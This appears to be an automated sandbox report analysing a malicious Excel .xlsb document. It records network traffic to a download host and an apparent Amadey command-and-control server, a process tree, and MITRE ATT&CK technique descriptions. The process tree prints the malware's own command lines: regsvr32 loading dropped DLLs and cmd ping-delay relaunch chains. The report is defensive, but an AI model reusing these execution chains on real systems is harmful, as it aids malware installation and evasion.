Jun 9, 2021 15:22:39.343851089 CEST	56628	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:39.405417919 CEST	53	56628	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:39.908086061 CEST	60778	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:39.969800949 CEST	53	60778	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:40.793365002 CEST	53799	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:40.852049112 CEST	53	53799	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:41.757324934 CEST	54683	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:41.818587065 CEST	53	54683	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:42.288892984 CEST	59329	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:42.350413084 CEST	53	59329	8.8.8.8	192.168.2.6
Jun 9, 2021 15:22:50.255160093 CEST	64021	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:22:50.318708897 CEST	53	64021	8.8.8.8	192.168.2.6
Jun 9, 2021 15:23:00.317203999 CEST	56129	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:23:00.378262997 CEST	53	56129	8.8.8.8	192.168.2.6
Jun 9, 2021 15:23:16.410259008 CEST	58177	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:23:16.469381094 CEST	53	58177	8.8.8.8	192.168.2.6
Jun 9, 2021 15:23:34.410224915 CEST	50700	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:23:34.482976913 CEST	53	50700	8.8.8.8	192.168.2.6
Jun 9, 2021 15:23:35.993652105 CEST	54069	53	192.168.2.6	8.8.8.8
Jun 9, 2021 15:23:36.063276052 CEST	53	54069	8.8.8.8	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Type
Jun 9, 2021 15:22:05.833841085 CEST	192.168.2.6	8.8.7.7	4d5a	Echo
Jun 9, 2021 15:22:10.528872013 CEST	192.168.2.6	8.8.7.7	4d59	Echo
Jun 9, 2021 15:22:20.469414949 CEST	192.168.2.6	8.8.7.7	4d58	Echo
Jun 9, 2021 15:22:25.029455900 CEST	192.168.2.6	8.8.7.7	4d57	Echo
Jun 9, 2021 15:22:36.677659035 CEST	192.168.2.6	8.8.7.7	4d56	Echo
Jun 9, 2021 15:22:41.530548096 CEST	192.168.2.6	8.8.7.7	4d55	Echo

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 9, 2021 15:21:55.219571114 CEST	192.168.2.6	8.8.8.8	0x9318	Standard query (0)	tpfcu.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jun 9, 2021 15:21:55.279922962 CEST	8.8.8.8	192.168.2.6	0x9318	No error (0)	tpfcu.com		107.180.50.232	A (IP address)	IN (0x0001)

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jun 9, 2021 15:21:55.561739922 CEST	107.180.50.232	443	192.168.2.6	49715	CN=tpfcu.com, OU=Domain Control Validated CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Fri Mar 05 15:44:31 CET 2021 Tue May 03 09:00:00 CEST 2011	Wed Apr 06 16:44:31 CEST 2022 Sat May 03 09:00:00 CEST 2031	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	37f463bf4616ecd445d4a1937da06e19
Jun 9, 2021 15:21:55.561739922 CEST	107.180.50.232	443	192.168.2.6	49715	CN=Go Daddy Secure Certificate Authority - G2, OU=http://certs.godaddy.com/repository/, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	CN=Go Daddy Root Certificate Authority - G2, O="GoDaddy.com, Inc.", L=Scottsdale, ST=Arizona, C=US	Tue May 03 09:00:00 CEST 2011	Sat May 03 09:00:00 CEST 2031		37f463bf4616ecd445d4a1937da06e19
Jun 9, 2021 15:22:49.386614084 CEST	18.117.84.120	443	192.168.2.6	49740	CN=amadeamadey.at, OU=Amadey Org, O=Amadey TM, L=Bohn, ST=Bohn, C=AT	CN=amadeamadey.at, OU=Amadey Org, O=Amadey TM, L=Bohn, ST=Bohn, C=AT	Wed Jun 09 10:22:21 CEST 2021	Thu Jun 09 10:22:21 CEST 2022	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,5-10-11-13-35-23-65281,29-23-24,0	8916410db85077a5460817142dcbc8de
Jun 9, 2021 15:23:25.363224030 CEST	18.117.84.120	443	192.168.2.6	49747	CN=amadeamadey.at, OU=Amadey Org, O=Amadey TM, L=Bohn, ST=Bohn, C=AT	CN=amadeamadey.at, OU=Amadey Org, O=Amadey TM, L=Bohn, ST=Bohn, C=AT	Wed Jun 09 10:22:21 CEST 2021	Thu Jun 09 10:22:21 CEST 2022	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,5-10-11-13-35-23-65281,29-23-24,0	8916410db85077a5460817142dcbc8de
Jun 9, 2021 15:23:57.298791885 CEST	18.117.84.120	443	192.168.2.6	49750	CN=amadeamadey.at, OU=Amadey Org, O=Amadey TM, L=Bohn, ST=Bohn, C=AT	CN=amadeamadey.at, OU=Amadey Org, O=Amadey TM, L=Bohn, ST=Bohn, C=AT	Wed Jun 09 10:22:21 CEST 2021	Thu Jun 09 10:22:21 CEST 2022	771,49196-49195-49200-49199-159-158-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,5-10-11-13-35-23-65281,29-23-24,0	8916410db85077a5460817142dcbc8de

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 6528 Parent PID: 792

General

Start time:	15:21:49
Start date:	09/06/2021
Path:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
Imagebase:	0x10000
File size:	27110184 bytes
MD5 hash:	5D6638F2C8F8571C593999C58866007E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: regsvr32.exe PID: 6796 Parent PID: 6528

General

Start time:	15:21:55
Start date:	09/06/2021
Path:	C:\Windows\SysWOW64\regsvr32.exe
Wow64 process (32bit):	true
Commandline:	regsvr32 -s ..\iepfusn.dll
Imagebase:	0xe50000
File size:	20992 bytes
MD5 hash:	426E7499F6A7346F0410DEAD0805586B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: regsvr32.exe PID: 6848 Parent PID: 6796

General

Start time:	15:21:56
Start date:	09/06/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	-s ..\iepfusn.dll
Imagebase:	0x7ff62a730000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: cmd.exe PID: 6980 Parent PID: 6848

General

Start time:	15:22:03
Start date:	09/06/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c ping 8.8.7.7 -n 2 & start C:\Windows\system32\regsvr32.exe -s C:\Users\user\iepfusn.dll RV0KR
Imagebase:	0x7ff7180e0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 6988 Parent PID: 6980

General

Start time:	15:22:04
Start date:	09/06/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61de10000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: PING.EXE PID: 7032 Parent PID: 6980

General

Start time:	15:22:04
Start date:	09/06/2021
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping 8.8.7.7 -n 2
Imagebase:	0x7ff612a90000
File size:	21504 bytes
MD5 hash:	6A7389ECE70FB97BFE9A570DB4ACCC3B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: regsvr32.exe PID: 5712 Parent PID: 6980

General

Start time:	15:22:13
Start date:	09/06/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe -s C:\Users\user\iepfusn.dll RV0KR
Imagebase:	0x7ff62a730000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: cmd.exe PID: 1724 Parent PID: 5712

General

Start time:	15:22:17
Start date:	09/06/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c ping 8.8.7.7 -n 2 & start C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll N8DG
Imagebase:	0x7ff7180e0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 1808 Parent PID: 1724

General

Start time:	15:22:18
Start date:	09/06/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61de10000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: PING.EXE PID: 6196 Parent PID: 1724

General

Start time:	15:22:19
Start date:	09/06/2021
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping 8.8.7.7 -n 2
Imagebase:	0x7ff612a90000
File size:	21504 bytes
MD5 hash:	6A7389ECE70FB97BFE9A570DB4ACCC3B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Analysis Process: regsvr32.exe PID: 6356 Parent PID: 1724

General

Start time:	15:22:28
Start date:	09/06/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll N8DG
Imagebase:	0x7ff62a730000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: cmd.exe PID: 6896 Parent PID: 6356

General

Start time:	15:22:34
Start date:	09/06/2021
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c ping 8.8.7.7 -n 2 & start C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll VE50DB
Imagebase:	0x7ff7180e0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: conhost.exe PID: 5680 Parent PID: 6896

General

Start time:	15:22:34
Start date:	09/06/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff61de10000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: PING.EXE PID: 6092 Parent PID: 6896

General

Start time:	15:22:35
Start date:	09/06/2021
Path:	C:\Windows\System32\PING.EXE
Wow64 process (32bit):	false
Commandline:	ping 8.8.7.7 -n 2
Imagebase:	0x7ff612a90000
File size:	21504 bytes
MD5 hash:	6A7389ECE70FB97BFE9A570DB4ACCC3B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: regsvr32.exe PID: 6872 Parent PID: 3440

General

Start time:	15:22:43
Start date:	09/06/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\system32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll VE50DB
Imagebase:	0x7ff62a730000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: regsvr32.exe PID: 6824 Parent PID: 6896

General

Start time:	15:22:44
Start date:	09/06/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll VE50DB
Imagebase:	0x7ff62a730000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Analysis Process: regsvr32.exe PID: 400 Parent PID: 3440

General

Start time:	15:22:51
Start date:	09/06/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\system32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\L3YD7CE.dll VE50DB
Imagebase:	0x7ff62a730000
File size:	24064 bytes
MD5 hash:	D78B75FC68247E8A63ACBA846182740E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report Documents_13134976_1377491379.xlsb

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Initial Sample

Sigma Overview

System Summary:

Signature Overview

Compliance:

Spreading:

Software Vulnerabilities:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "Documents_13134976_1377491379.xlsb"

Indicators

Macro 4.0 Code

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

Behavior

System Behavior